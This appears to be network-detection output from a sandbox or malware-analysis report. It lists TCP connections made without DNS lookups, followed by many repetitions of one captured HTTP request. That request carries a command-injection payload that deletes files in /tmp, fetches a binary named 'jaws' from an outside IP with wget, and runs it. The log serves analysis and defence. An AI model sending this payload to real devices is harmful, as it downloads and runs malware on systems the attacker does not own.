Source: unknown	TCP traffic detected without corresponding DNS query: 32.199.108.90
Source: unknown	TCP traffic detected without corresponding DNS query: 181.116.62.108
Source: unknown	TCP traffic detected without corresponding DNS query: 50.0.195.92
Source: unknown	TCP traffic detected without corresponding DNS query: 164.60.105.204
Source: unknown	TCP traffic detected without corresponding DNS query: 144.47.107.187
Source: unknown	TCP traffic detected without corresponding DNS query: 101.0.241.188
Source: unknown	TCP traffic detected without corresponding DNS query: 45.211.194.205
Source: unknown	TCP traffic detected without corresponding DNS query: 122.156.84.221
Source: unknown	TCP traffic detected without corresponding DNS query: 79.64.51.144
Source: unknown	TCP traffic detected without corresponding DNS query: 4.146.12.76
Source: unknown	TCP traffic detected without corresponding DNS query: 91.118.235.84
Source: unknown	TCP traffic detected without corresponding DNS query: 117.7.158.134
Source: unknown	TCP traffic detected without corresponding DNS query: 153.63.20.187
Source: unknown	TCP traffic detected without corresponding DNS query: 18.63.185.184
Source: unknown	TCP traffic detected without corresponding DNS query: 72.115.76.96
Source: unknown	TCP traffic detected without corresponding DNS query: 174.41.100.150
Source: unknown	TCP traffic detected without corresponding DNS query: 52.34.186.234
Source: unknown	TCP traffic detected without corresponding DNS query: 174.5.116.14
Source: unknown	TCP traffic detected without corresponding DNS query: 112.8.190.180
Source: unknown	TCP traffic detected without corresponding DNS query: 118.103.225.24
Source: unknown	TCP traffic detected without corresponding DNS query: 17.149.191.92
Source: unknown	TCP traffic detected without corresponding DNS query: 205.253.14.196
Source: unknown	TCP traffic detected without corresponding DNS query: 101.64.143.75
Source: unknown	TCP traffic detected without corresponding DNS query: 105.66.169.159
Source: unknown	TCP traffic detected without corresponding DNS query: 150.168.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 99.177.223.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.167.28
Source: unknown	TCP traffic detected without corresponding DNS query: 93.133.135.212
Source: unknown	TCP traffic detected without corresponding DNS query: 130.32.142.3
Source: unknown	TCP traffic detected without corresponding DNS query: 194.114.95.197

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
